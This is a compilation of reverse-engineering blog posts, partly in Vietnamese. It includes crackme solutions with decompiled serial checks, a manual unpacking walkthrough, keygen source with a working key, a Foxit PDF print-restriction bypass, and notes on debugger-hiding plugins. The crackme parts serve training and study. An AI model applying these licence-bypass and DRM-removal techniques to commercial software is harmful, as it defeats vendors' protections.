Cái tên HexRays sau khi xuất hiện trên site của lão Ilfak Guilfanov (http://www.hexblog.com/) đã làm cho giới RE kinh thiên động địa mặc dù lúc đó nó mới chỉ là trong ý tưởng.Đến sau này khi lão release sản phầm và public trên một site khác (http://www.hex-rays.com/) càng làm cho “giang hồ” thèm muốn. Nhưng cái giá mà lão đưa ra để có được HexRays thì quá chua chát : “A single user license of the Hex-Rays Decompiler is 2299USD (1500EUR)”. Với số tiến như thế này thì có mà thách đố, chắc đi cày đến hết đời mới mua nổi em nó về dùng. Cũng có một số team có ý định và đã bỏ tiền ra mua HexRays về sử dụng…. nhưng rồi đến một ngày, một ngày mà cả giới RE phải online để download hàng. Đó chỉnh là hôm YAG Team public hexrays cho bà con download….. Hơ hơ nhưng mà tool xịn có trong tay rồi, giờ dùng sao ta ? Không lẽ down về để đó ngó chơi…… hơn 2 ngàn $ chứ có ít đâu . Hôm nay tập dùng HexRays bèn lấy em crackme của lão Rồng ra vọc thử .. Thấy đại ca Còm dùng HexRays hay quá nên ráng đua đòi ..nhưng cũng chỉ dừng ở mức cưỡi ngựa xem hoa chứ chưa dám chạy trước . Và đây là kết quả cuối cùng sau một hồi ngồi phân tích bằng IDA + HexRays :

int __stdcall DialogFunc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
HWND v5; // eax@2
HWND hWnd; // [sp+0h] [bp-4h]@2

switch ( a2 )
{
case 0x110u:
SendMessageA(a1, 0x80u, 1u, lParam);
v5 = GetDlgItem(a1, 1006);
hWnd = v5;
if ( v5 )
EnableWindow(hWnd, FALSE); // disable checkit button
else
EnableWindow(hWnd, TRUE);
break;
case 0x111u:
switch ( a3 )
{
case 0x3EEu:
GetDlgItemTextA(a1, 1004, szName, 256);
GetDlgItemTextA(a1, 1005, szSerial, 256);
convert_szName_to_hex(a1);
break;
case 0x3F0u:
CreateDialogParamA(hInstance, (LPCSTR)0x3F1, a1, sub_40120E, 0);
break;
case 0x3EFu:
EndDialog(a1, 0);
break;
}
break;
case 0x10u:
EndDialog(a1, 0);
break;
}
return 0;
}

void __stdcall convert_szName_to_hex(HWND hDlg)
{
int i; // eax@1
int iLen; // ebx@1
int iIndex; // ST14_4@2
HWND v4; // eax@4
HWND v5; // eax@4

RtlZeroMemory(szBuf, 256); // Set a block of memory with 0's.
RtlZeroMemory(szHex, 256);
iLen = lstrlenA(szName);
i = 0;
do
{
iIndex = i;
wsprintfA(szBuf, "%x", szName[i]); // convert szName[i] to Hexa and store in a szBuf
lstrcatA(szHex, szBuf); // append szBuf to szHex
i = iIndex + 1;
}
while ( iIndex + 1 < iLen );
if ( lstrcmpA(szHex, szSerial) ) // compare szHex with szSerial
{
MessageBoxA(hDlg, "No,no! Try it again!", "Reverse Engineering Association", 0);
}
else
{
MessageBoxA(hDlg, "Congratulation! You've done with it", "Reverse Engineering Association", 0);
v4 = GetDlgItem(hDlg, 1004);
EnableWindow(v4, 0);
v5 = GetDlgItem(hDlg, 1005);
EnableWindow(v5, 0);
}
}

Hôm nay tiếp tục phần 2 :
Mới được Merc share instant demo mới, nên làm tiếp cái movie nữa về fix FoxIt Reader. Phần trước ta mới bypass file pdf cấm copy và cấm take snapshot. Lần này tôi dùng một chương trình convert pdf và chọn tùy chọn là cấm cho in smilie. Cái cấm cho in này cũng ác thật, nếu trong trường hợp bạn có một tài liệu hay bằng pdf, đọc thấy thích và muốn in ra làm sách gối đầu giường nhưng ngặt nỗi bạn lại không thể in được……lúc này quả thật rất ức chế. Theo thông thường thì bạn sẽ tìm tới các trình remove protect cùa pdf còn tôi thì lại mày mò với FoxIt. Sau một hồi “nghịch” tôi cũng đã bypass và in thành công, do đó làm cái movie hướng dẫn các bạn thực hiện. Hi vọng nó giúp ích nhiều cho các bạn…. :)

Download movie ở đây:

http://www.4shared.com/file/62682052/df536fe5/Fix_FoxitReader_part2.html

Best Regards

kienmanowar

Modified Execryptor
Modified THEMIDA
Add the possibility of deleting all points of stopping Remove all breakpoints
auto path UDD & plugin
Reference Search directly from the toolbar
Show offset in status bar
Amendment to show the number of additions to the list
Additions located

1 – advancedolly.dll
2 – analyzethis.dll
3 – API_Break.dll
4 – bookmarks2.dll
5 – cmdbar.dll
6 – HideOD.dll
7 – NonaWrite.dll
8 – ODbgScript.dll
9 – OllyBugfix.dll
10 – OllyDump.dll
11 – OllyMoreMenu.dll
12 – PhantOm.dll
13 – Poison.dll
14 – ustrref.dll

This amendment took me time so there is no difference between them and the original
They accept each others additions modified
Do not forget pray for me and my family

Download link :

http://rapidshare.com/files/143392198/RAMODBG.rar.html

ARTeam: xFile Generic Tool for Hiding Tools, by anorganix

xFile 1.4.0.36 Released!

The File Update Module increases the size of a file to the specified value. Just enter the “Desired Size” in bytes and you’re all set. Works with all file types, with compressed/packed files also, but files with integrity check are not supported. Also, backup option has been implemented.

The Hide Caption Tool is ideal for hiding the caption of any application. Just build a list with the full/partial captions you want to hide and hit Enable. Changes apply in realtime and checks are made often to hide all instances of the application.

The Junk Cleanup Module is useful for deleting Olly’s UDD and BAK files. Also, there is an option to backup files before deletion (ZIP).

NEW! The Resource Fix Module (based on DreamTheatre’s engine) comes in handy after unpacking. Just rebuild the resources, so that you can edit them without crashing the program. You can also dump the resources to file.

Additional features:
* Drag and Drop support
* file CRC Calculator
* auto-refresh of UDD folder
* auto-save settings
* Hide Caption works faster (Partial Captions are now supported)
* fixed minor UI bugs

get it here: http://arteam.accessroot.com/releases.html

Have phun!

diablo2oo2′s Universal Patcher – [dUP]

[Current Version]

Version: 2.17

[Features]
-multiple file patcher
-create Offset and Search&Replace patch/loader
-compare files (RawOffset and VirtualAddress) with different filesize
-registry patcher, also for loaders
-attach files to patcher
-get filepaths from registry
-usage of CRC32 and filesize checks
-patching packed files
-compress patcher with your favorite packer
-saving projects
-use custom skin in your patcher
-add music (Tracker Modules: xm,mod,it,s3m,mtm,umx,v2m,ahx,sid) to patcher
-and many more…

Download : http://free.pages.at/d2k2//downloads/dup2.rar

Basic types of software of protection

Bài viết của LuCiFer trên diễn đàn REA

1. Registration – Number (Serial – Number) Protection :

Những chương trình sử dụng loại này yêu cầu người sử dụng nhập vào một registration – number để đăng ký. Có nhiều loại registration – number ,bao gồm :

Registraion – number luôn luôn giống nhau.

Registration – number thay đổi dựa vào các thông tin nhập vào như tên công ty,tên người sử dụng v.v…

Registration – number thay đổi dựa vào máy của người dùng.

Registration – number được bảo vệ trong các chương trình được viết bằng Visua Basic hoặc Borland Delphi.

Registration – number được kiểm tra online.

Registration – number Không Đổi :

Một chương trình được bảo vệ bằng phương pháp này yêu cầu người dùng nhập vào một số đăng ký như hình bên :

Tiện lợi của phương pháp bảo vệ này so với các kĩ thuật bảo vệ Registration – number khác là correct Registration- number không cần lưu trong bộ nhớ rồi đem so sánh với Registration- number được nhập vào mà cả hai sẽ được XORed hoặc tính toán rồi lấy hai kết quả đó để so sánh với nhau. Dĩ nhiên là các lập trình viên có thể sử dụng các phép tính phức tạp hoặc mã hóa nhiều sections của chương trình để làm cho các crackers khó mà tìm được một Registration-number chính xác.

Registration-number Thay Đổi Dựa Vào Thông Tin Nhập Vào :

Đây là một protection được sử dụng phổ biến. Với loại protection này thì trước khi nhập vào Registration-number bạn phải nhập tên, công ty, hoặc các thông tin khác và một Correct Registration-number sẽ thay đổi dựa vào các thông tin bạn nhập vào

……………….

………………..

Download toàn bộ bài viết:

the-basic-types-of-software-of-protection

Thanx to LuCiFer

Best Regards

kienmanowar

After 2 months…
KLiZMA wrote another unpackme for you.

Rulz:

1. Unpack it maliciously…
2. Change “UNREGISTERED” to “REGISTERED”
3. Write tutorial about…

Download unpackme here: http://www.crackmes.de/users/klizma/unpackme_1

——

Solution by me:

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Solution:     UnpackMe#1_by_KLiZMA           |
| Author:     kienmanowar                    |
| Protection:    Unknown packer (like Upx)      |
| Language:      Borland Delphi                 |
| Date:        05/13/06               |
| Great thanx to iamidiot for give me your hint |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+

Tools: Ollydbg, PEid v0.94, RDG Packer Detector v0.6.3 Beta, ImpRec v1.6

ÛÛÛ [ Manual Unpacking ] ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

Try to detect this Unpackme with PEid and RDG, i get some information :

PEiD :
+ Normal Scan : Nothing found *
+ Hardcore Scan : UPolyX v0.5 *

RDG :
+ Normal Scan : UG2002 Cruncher v0.3b3
+ Advanced Scan : UPX v0.8x (UPX Heuristico Scrambler)

With these information, i don’t know what exactly packer in which this UnpackMe used. So I use PEid plugin (Generic OEP Finder)to find OEP of UnpackMe, It gives me : 00463C80. Okie :) may be this is the right OEP!!!

Close PeID and open Ollydbg to load this UnpackMe in. A messagebox apears, choose No. I have :

0047E000 >  60              pushad            <== Stop here (EP)
0047E001    E8 00000000     call    unpackme.0047E006
0047E006    5D              pop     ebp
0047E007    81ED 48124000   sub     ebp, unpackme.00401248
0047E00D    60              pushad
0047E00E    E8 2B030000     call    unpackme.0047E33E
0047E013    61              popad
0047E014    8A7D 60         mov     bh, byte ptr ss:[ebp+60]
0047E017    6262 DB         bound   esp, qword ptr ds:[edx-25]
0047E01A    6A 62           push    62
0047E01C    6262 EF         bound   esp, qword ptr ds:[edx-11]
0047E01F    D7              xlat    byte ptr ds:[ebx+al]
0047E020    EA 7022628A 496>jmp     far 6049:8A622270
0047E027    6262 9D         bound   esp, qword ptr ds:[edx-63]
0047E02A    F7              ???                                      ; Unknown command
0047E02B    8D70 22         lea     esi, dword ptr ds:[eax+22]
0047E02E    62E9            bound   ebp, ecx                         ; Illegal use of register
0047E030    BA F2F29DF7     mov     edx, F79DF2F2

Oh !! I see Pushad signature, like UPX. Press Alt + M to open Memory map Window.

Memory map
Address    Size     (  Owner       Section    Contains      Type   Access    Initial   Mapped as
................................................................................................
00370000   00003000 (           0                           Map    R         R
00400000   00001000 (  unpackme 0             PE header     Imag   R         RWE
00401000   0004B000 (  unpackme 0  .KLiZMA                  Imag   R         RWE
0044C000   00031000 (  unpackme 0  .KLiZMA    code          Imag   R         RWE
0047D000   00001000 (  unpackme 0  .rsrc      data,imports  Imag   R         RWE
0047E000   00001000 (  unpackme 0  .KLiZMA    SFX           Imag   R         RWE
00480000   00004000 (           0                           Map    R E       R E
00540000   00002000 (           0                           Map    R E       R E
00550000   00103000 (           0                           Map    R         R
00660000   0006A000 (           0                           Map    R E       R E
.................................................................................................

In this Window, select section :

00401000   0004B000 (  unpackme 0  .KLiZMA                  Imag   R         RWE

And Right click and set a Memory Breakpoint on Access.And then Press F9 to Run, Olly breaks here :

0047CCA3    8807            mov     byte ptr ds:[edi], al    <== Stop here after Press F9 (1st)
0047CCA5    47              inc     edi
0047CCA6    01DB            add     ebx, ebx
0047CCA8    75 07           jnz     short unpackme.0047CCB1
0047CCAA    8B1E            mov     ebx, dword ptr ds:[esi]
0047CCAC    83EE FC         sub     esi, -4
0047CCAF    11DB            adc     ebx, ebx
0047CCB1  ^ 72 ED           jb      short unpackme.0047CCA0

Come back Memory Map Window and clear Memory BP.And then back to CPU Window, scroll down to find the signature :) :

0047CDEB    83C3 04         add     ebx, 4
0047CDEE  ^ EB E1           jmp     short unpackme.0047CDD1
0047CDF0    FF96 84CE0700   call    near dword ptr ds:[esi+7CE84]
0047CDF6    61              popad                <=== Aha Popad
0047CDF7  ^ E9 846EFEFF     jmp     unpackme.00463C80        <=== Jmp to OEP (Like OEP found in Peid)

As you see, this signature like UPX. And now, set BP at : 0047CDF7  ^ E9 846EFEFF     jmp     unpackme.00463C80
Press F9 to Run, Break at this BP, remove this and Press F8 , kaka we stop at OEP of UnpackMe :

00463C80    55              push    ebp                <=== Right OEP
00463C81    8BEC            mov     ebp, esp
00463C83    83C4 F0         add     esp, -10
00463C86    B8 903A4600     mov     eax, unpackme.00463A90
00463C8B    E8 A41FFAFF     call    unpackme.00405C34
00463C90    A1 F8584600     mov     eax, dword ptr ds:[4658F8]
00463C95    8B00            mov     eax, dword ptr ds:[eax]
00463C97    E8 14B2FEFF     call    unpackme.0044EEB0

Now, dump with Ollydump Plugin, not check Rebuilt Import. Press Dump and Save as : dumped.exe. Fire up ImportRec, select Process, write OEP , Press IAT Auto Search, Get Imports and finally Fix Dump.We have dumped_.exe. Test it: kaka it runs before i double click :) lol and detect again by PEid : Borland Delphi 6.0 – 7.0.

ÛÛÛ [ Cracking ] ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

After MUP this UnpackMe, come to part 2 to change “UNREGISTERED” to “REGISTERED”. To do this task, Load dumped_.exe into Ollydbg. Press F9 to Run it, we’ll see a beautiful girl with “UNREGISTERED” string below. Back to Ollydbg, Press Alt+M to open Memory map Window, here we select :

Memory map, item 0
Address=00010000
Size=00001000 (4096.)
Owner=         00010000 (itself)
Section=
Type=Priv 00021004
Access=RW
Initial access=RW

Right click and select Search (or Ctrl+B),then type : UNREGISTERED in Ascii textbox and Press OK to Search this string.After that Olly break at :

Memory map, item 25
Address=0047D000
Size=00001000 (4096.)
Owner=dumped_  00400000
Section=.rsrc
Contains=data,resources
Type=Imag 01001002
Access=R
Initial access=RWE

and we have in Dump window :
00479140  55 4E 52 45 47 49 53 54 45 52 45 44 0C 46 6F 6E  UNREGISTERED.Fon
00479150  74 2E 43 68 61 72 73 65 74 07 0F 44 45 46 41 55  t.CharsetDEFAU
00479160  4C 54 5F 43 48 41 52 53 45 54 0A 46 6F 6E 74 2E  LT_CHARSET.Font.
00479170  43 6F 6C 6F 72 07 08 63 6C 57 69 6E 64 6F 77 0B  ColorclWindow

Okies, the string which we want to find is in Section : .rsrc (resource). So back to CPU Window, right click in Dump Window and Select Go to (Ctrl+G), we type the address of string : 00479140. Select UNREGISTERED string and edit this to REGISTERED. Finally, Save this edited file : dumped_edited.exe. Ok, Run this and see the result :) .

Finish!
Best Regards
_[Kienmanowar]_

ÛÛÛ [ Thanz ] ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

–++–==[ Greatz Thanks To ]==–++–
My family, Computer_Angel, Moonbaby , Zombie_Deathman, Littleboy, Benina, QHQCrker, the_Lighthouse, Merc, Hoadongnoi, Nini … all REA’s members, TQN, HacNho, RongChauA, Deux, tlandn, light.phoenix, dqtln, ARTEAM …. all my friend, and YOU.

–++–==[ Thanks To ]==–++–
iamidiot, WhyNotBar, trickyboy, dzungltvn, takada, hurt_heart, haule_nth, hytkl v..v..

–++–==[ Special Thanks  ]==–++–
And then thanx to the Author : KLiZMA and all the people read my tutor!

If you have any suggestions, comments or corrections email me: kienbigmummy[at]gmail.com

Sorry in my bad English. Because English is not my mother language, I’m VietNamese.

Welcome all to : reaonline.net

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³    °±²Û CONTACT INFORMATION                                                ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

URL : http://www.reaonline.net
contact me : kienbigmummy@gmail.com

Easy Crackme//KeyGenme.
=======================
Try to find a valid Key for your name.
NO PATCHING!

ZeroTen

Difficulty: 1 – Very easy, for newbies
Platform: Windows
Language: C/C++

Download crackme here: http://www.crackmes.de/users/zeroten/crackme_keygenme_by_zeroten_1
—————————-
Solution :

///////////////////////////////////////////////////////////////////////////////////////////
Program : CrackMe_KeyGenMe_by_ZeroTen_#1.exe
Description : Easy Crackme//KeyGenme.Try to find a valid Key for your name.NO PATCHING!
Tools : OllyDbg
Difficult : Easy (but not for newbies :D )
Packer/Protector/Compiler : N/A
Objective : Keygen
Cracker : kienmanowar
///////////////////////////////////////////////////////////////////////////////////////////

1. First, run this keygenme and input Name, Password and Serial then click Login. Hola, the keygenme terminate without Nag.
Retry to test with one char in Name textbox, blah blah i get the Nag : “At least, more than 4 letters”.

2. Okie, Load to Olly and search all ref strings. I find it here :

Text strings referenced in CrackMe_:.text, item 10
Address=00401C88
Disassembly=PUSH CrackMe_.004871A6
Text string=ASCII "At least, more than 4 letters"

3. Double click to this line, and scroll up to find the start point of this routine.And then set a BP :

00401A18 >/. 55 PUSH EBP ; _TForm1_Button1Click <== Set BP
00401A19 |. 8BEC MOV EBP, ESP
00401A1B |. 83C4 94 ADD ESP, -6C
00401A1E |. 53 PUSH EBX
00401A1F |. 56 PUSH ESI
00401A20 |. 57 PUSH EDI
00401A21 |. 8BD8 MOV EBX, EAX

4. F9 to run and input data (ex: kienmanowar / 1234 / 56789) then press Log in.Wow, stop at BP that i set.Trace downward i get the
the first point. That code will use the Lenght of szName to calculate and store the result in edi reg :

00401A43 >|. 8B83 64030000 MOV EAX, DWORD PTR DS:[EBX+364] ; *TForm1.Edit1:TEdit (szUserName)
00401A49 |. E8 42B40400 CALL ; <== eax : Length(szName)
00401A4E |. 837D FC 00 CMP DWORD PTR SS:[EBP-4], 0 ; <== Length(szName) != 0
00401A52 |. 74 08 JE SHORT
00401A54 |. 8B55 FC MOV EDX, DWORD PTR SS:[EBP-4] ; <== edx : szName
00401A57 |. 8B4A FC MOV ECX, DWORD PTR DS:[EDX-4] ; <== ecx : Length(szName)
00401A5A |. EB 02 JMP SHORT
00401A5C >|> 33C9 XOR ECX, ECX ; |> 8D3C89 LEA EDI, DWORD PTR DS:[ECX+ECX*4] ; <== edi = ecx + ecx*4 (LengthIsNotZero__)
00401A61 |. 8D45 FC LEA EAX, DWORD PTR SS:[EBP-4]
00401A64 |. BA 02000000 MOV EDX, 2 ; <== edx = 0x2
00401A69 |. 8D3CB9 LEA EDI, DWORD PTR DS:[ECX+EDI*4] ; <== edi = ecx + edi*4
00401A6C |. C1E7 03 SHL EDI, 3 ; <== edi = edi * 2^3
00401A6F |. 2BF9 SUB EDI, ECX ; <== edi = edi - ecx
00401A71 |. 8D3CF9 LEA EDI, DWORD PTR DS:[ECX+EDI*8] ; <== edi = ecx + edi*8
00401A74 |. 81C7 A31C0000 ADD EDI, 1CA3 ; <== edi = edi + 0x1CA3

5. Continue trace downward and analyze, i find 4 same forged codes to cheat my thinkin’ and one of them like this below :) :

00401A9B >|. 8B83 70030000 MOV EAX, DWORD PTR DS:[EBX+370] ; *TForm1.Edit2:TEdit (szPassWord)
00401AA1 |. E8 EAB30400 CALL ; <== eax : Length(szPassWord)
00401AA6 |. 8D55 F8 LEA EDX, DWORD PTR SS:[EBP-8]
00401AA9 |. 52 PUSH EDX
00401AAA |. 8D45 F4 LEA EAX, DWORD PTR SS:[EBP-C]
00401AAD |. 8B55 A0 MOV EDX, DWORD PTR SS:[EBP-60] ;
00401AB0 |. E8 5B110700 CALL ; <== Convert int to string
00401AB5 |. FF46 1C INC DWORD PTR DS:[ESI+1C] ;
00401AB8 |. 8D55 F4 LEA EDX, DWORD PTR SS:[EBP-C]
00401ABB |. 58 POP EAX
00401ABC |. E8 D7110700 CALL ;
00401AC1 |. 50 PUSH EAX
00401AC2 |. FF4E 1C DEC DWORD PTR DS:[ESI+1C]
00401AC5 |. 8D45 F4 LEA EAX, DWORD PTR SS:[EBP-C]
00401AC8 |. BA 02000000 MOV EDX, 2
00401ACD |. E8 82110700 CALL
00401AD2 |. FF4E 1C DEC DWORD PTR DS:[ESI+1C] ; |
00401AD5 |. 8D45 F8 LEA EAX, DWORD PTR SS:[EBP-8] ; |
00401AD8 |. BA 02000000 MOV EDX, 2 ; |
00401ADD |. E8 72110700 CALL ; \CrackMe_.00472C54
00401AE2 |. 59 POP ECX
00401AE3 |. 84C9 TEST CL, CL
00401AE5 |. 74 0C JE SHORT
00401AE7 |. A1 CCF44800 MOV EAX, DWORD PTR DS:[48F4CC]
00401AEC |. 8B00 MOV EAX, DWORD PTR DS:[EAX]
00401AEE >|. E8 9D260400 CALL ; ->:TApplication._Terminate()

6. By pass all of this code, i land here :

00401C47 >|. 8B83 64030000 MOV EAX, DWORD PTR DS:[EBX+364] ; *TForm1.Edit1:TEdit (szName)
00401C4D |. E8 3EB20400 CALL ; <== eax = Length(szName)
00401C52 |. 837D D8 00 CMP DWORD PTR SS:[EBP-28], 0
00401C56 |. 74 08 JE SHORT
00401C58 |. 8B55 D8 MOV EDX, DWORD PTR SS:[EBP-28] ; <== edx : szName
00401C5B |. 8B4A FC MOV ECX, DWORD PTR DS:[EDX-4] ; <== ecx : Length(szName)
00401C5E |. EB 02 JMP SHORT
00401C60 >|> 33C9 XOR ECX, ECX ; loc_401C60
00401C62 >|> 83F9 04 CMP ECX, 4 ; loc_401C62
00401C65 |. BA 02000000 MOV EDX, 2
00401C6A |. 0F9CC0 SETL AL
00401C6D |. 83E0 01 AND EAX, 1
00401C70 |. 50 PUSH EAX ; /Arg1
00401C71 |. 8D45 D8 LEA EAX, DWORD PTR SS:[EBP-28] ; |
00401C74 |. FF4E 1C DEC DWORD PTR DS:[ESI+1C] ; |
00401C77 |. E8 D80F0700 CALL ; \CrackMe_.00472C54
00401C7C |. 59 POP ECX
00401C7D |. 84C9 TEST CL, CL
00401C7F |. 74 18 JE SHORT
00401C81 |. 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
00401C83 |. 68 C4714800 PUSH CrackMe_.004871C4 ; |Title = "BEEP!"
00401C88 |. 68 A6714800 PUSH CrackMe_.004871A6 ; |Text = "At least, more than 4 letters"
00401C8D |. 6A 00 PUSH 0 ; |hOwner = NULL
00401C8F >|. E8 204D0800 CALL ; \->UnrealizeObject.MessageBoxA()
00401C94 |. E9 F6000000 JMP

7. Ok my UserName has the length greater than 4 letters so that i bypass this check.After bypass, hola i land at the second important point.
The edx = edi + 0x1CA3 and will be converted to String and save into the szTruePassWord :

00401CAC >|. 8B83 70030000 MOV EAX, DWORD PTR DS:[EBX+370] ; *TForm1.Edit2:TEdit (szPassWord)
00401CB2 |. E8 D9B10400 CALL ; <== eax : Length(szPassWord)
00401CB7 |. 8D55 D4 LEA EDX, DWORD PTR SS:[EBP-2C]
00401CBA |. 52 PUSH EDX
00401CBB |. 8D97 A31C0000 LEA EDX, DWORD PTR DS:[EDI+1CA3] ; <== edx = edi + 0x1CA3
00401CC1 |. 8D45 D0 LEA EAX, DWORD PTR SS:[EBP-30] ; <== szTruePassWord
00401CC4 |. E8 470F0700 CALL ; <== ConvertIntToString (&szTruePassWord, edx)
00401CC9 |. FF46 1C INC DWORD PTR DS:[ESI+1C]
00401CCC |. 8D55 D0 LEA EDX, DWORD PTR SS:[EBP-30]
00401CCF |. 58 POP EAX
00401CD0 |. E8 C30F0700 CALL
00401CD5 |. 50 PUSH EAX
00401CD6 |. FF4E 1C DEC DWORD PTR DS:[ESI+1C]
00401CD9 |. 8D45 D0 LEA EAX, DWORD PTR SS:[EBP-30]
00401CDC |. BA 02000000 MOV EDX, 2
00401CE1 |. E8 6E0F0700 CALL
00401CE6 |. FF4E 1C DEC DWORD PTR DS:[ESI+1C] ; |
00401CE9 |. 8D45 D4 LEA EAX, DWORD PTR SS:[EBP-2C] ; |
00401CEC |. BA 02000000 MOV EDX, 2 ; |
00401CF1 |. E8 5E0F0700 CALL ; \CrackMe_.00472C54
00401CF6 |. 59 POP ECX
00401CF7 |. 84C9 TEST CL, CL
00401CF9 |. 0F84 83000000 JE

8. Lets continue, i found the last important point.The edx = edi – 0x1CA3 and will be converted to String and save into the szTrueSerial :

00401D12 >|. 8B83 78030000 MOV EAX, DWORD PTR DS:[EBX+378] ; *TForm1.Edit3:TEdit (szSerial)
00401D18 |. E8 73B10400 CALL ; <== eax = Length(szSerial)
00401D1D |. 8D55 CC LEA EDX, DWORD PTR SS:[EBP-34]
00401D20 |. 52 PUSH EDX
00401D21 |. 8D97 5DE3FFFF LEA EDX, DWORD PTR DS:[EDI-1CA3] ; <== edx = edi - 0x1CA3
00401D27 |. 8D45 C8 LEA EAX, DWORD PTR SS:[EBP-38] ; <== szTrueSerial
00401D2A |. E8 E10E0700 CALL ; <== ConvertIntToString (&szTruePassWord, edx)
00401D2F |. FF46 1C INC DWORD PTR DS:[ESI+1C]
00401D32 |. 8D55 C8 LEA EDX, DWORD PTR SS:[EBP-38]
00401D35 |. 58 POP EAX
00401D36 |. E8 5D0F0700 CALL
00401D3B |. 50 PUSH EAX
00401D3C |. FF4E 1C DEC DWORD PTR DS:[ESI+1C]
00401D3F |. 8D45 C8 LEA EAX, DWORD PTR SS:[EBP-38]
00401D42 |. BA 02000000 MOV EDX, 2
00401D47 |. E8 080F0700 CALL
00401D4C |. FF4E 1C DEC DWORD PTR DS:[ESI+1C] ; |
00401D4F |. 8D45 CC LEA EAX, DWORD PTR SS:[EBP-34] ; |
00401D52 |. BA 02000000 MOV EDX, 2 ; |
00401D57 |. E8 F80E0700 CALL ; \CrackMe_.00472C54
00401D5C |. 59 POP ECX
00401D5D |. 84C9 TEST CL, CL
00401D5F |. 74 13 JE SHORT

9. And finally we have the Good boy :

00401D61 |. 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
00401D63 |. 68 EB714800 PUSH CrackMe_.004871EB ; |Title = "Correct!!by ZeroTen"
00401D68 |. 68 CA714800 PUSH CrackMe_.004871CA ; |Text = "Now post your solution/KeyGen ;) "
00401D6D |. 6A 00 PUSH 0 ; |hOwner = NULL
00401D6F >|. E8 404C0800 CALL ; \->UnrealizeObject.MessageBoxA()

/

//////////////////////////////////
// Keygen source code //
//////////////////////////////////
int iDefault = 0x1CA3;

// Calculate Value
Value=0;
Value = LenUser + LenUser*4;
Value = LenUser + Value*4;
Value = Value * 8;
Value = Value – LenUser;
Value = LenUser + Value*8;
Value = Value + iDefault;

//Calculate szPassWord
iTemp = Value + iDefault;
wsprintf(szPassWord,”%i”,iTemp);

//Calculate szSerial
iTemp = Value – iDefault;
wsprintf(szSerial,”%i”,iTemp);

SetDlgItemText(IDC_PassWord,szPassWord);
SetDlgItemText(IDC_Serial,szSerial);

///////////////////////
The realkey for my username :
Username : kienmanowar
Password : 29369
Serial : 14707
///////////////////////

That’s all. Thanx for reading my tutor.
Sorry for my bad English!!! :|

–++–==[ Greatz Thanks To ]==–++–
My family, Computer_Angel, Moonbaby , Zombie_Deathman, Littleboy, Benina, QHQCrker,
the_Lighthouse, Merc, Hoadongnoi, Nini … all REA‘s members, TQN, HacNho, RongChauA,
Deux, tlandn, light.phoenix, dqtln, ARTEAM …. all my friend, and YOU.

–++–==[ Thanks To ]==–++–
iamidiot, WhyNotBar, trickyboy, dzungltvn, takada, hurt_heart, haule_nth, hytkl, moth, XIANUA, nhc1987 v..v..

I want to thank Teddy Roggers for his great site, Reversing.be folks(especially haggar),
Arteam folks(Shub-Nigurrath, MaDMAn_H3rCuL3s) and all folks on crackmes.de, thank
to all members of unpack.cn (especially fly and linhanshi). Great thanks to lena151(I like your tutorials).
And finally, thanks to RICARDO NARVAJA and all members on CRACKSLATINOS.

If you have any suggestions, comments or corrections email me: kienmanowar[at]reaonline.net

OllyDBG v1.10 plugin – StrongOD v0.18 [2008.09.18]

OllyDBG v1.10 plugin – StrongOD v0.18
Temptress Moon Shadow by sea [CUG]
================================================== ==================
[2008.09.18 v0.18]
1, to repair the Ctrl G calculation rva, offset when a small BUG
2, when the program is not running the state, Detach before running program
3, restoration of the original data OD zone copy BUG
4, repair od after the CPU running very high occupancy rate BUG
5, you can set it to skip some of the exception handling

[2008.09.02 v0.17]
1, to skip some of the improper handling of the abnormal OD
2, correctly handle the instructions int 2d

[2008.08.31 v0.16]
1, joined the drive to protect the process, the hidden window, over most of the anti-debugging
2, driver support for the custom equipment 000 (ollydbg.ini of DeviceName, equipment were not more than 8 characters)
ollydbg.ini of [StrongOD], you can set up their own

HideWindow = 1 to hide the window
HideProcess = 1 to hide the process
ProtectProcess = 1 protection process
DriverKey =- 82693034 and the key driver of communication
DriverName = fengyue0 who drives (not more than 8 characters)

3, OD will be the creation of the parent process into the process explorer.exe (copied from shoooo code)

////////////////////////////////////////////////// ///////////

The increase in the version of the driver, if a blue screen, set up minidump spread to the Forum, thank you
OllyDbg original use as much as possible, and other generally do not need the anti-anti plugin in conjunction with plug-in (including phant0m)

Od plug-in will be on the plugin directory, run the original od, and then shut down
Ollydbg.ini found in the [Plugin StrongOD] items
Change their look
DriverName – driver file name, the object of equipment
DriverKey – and the key driver of communication
HideWindow – whether hidden window for a hidden, 0 for not hide
HideProcess – whether hidden od process for a hidden, 0 for not hide
ProtectProcess – whether hidden to protect the process of Od, for the protection of 1, 0 for failing to protect

5 above, there is no interface option, you can set your favorite way, if the election does not KernalMode, then the top 5 option null and void

Phant0m driver and the driver compared to the following advantages:

1, in support of a number of OD, can support up to 100 OD, and phant0m only support an OD
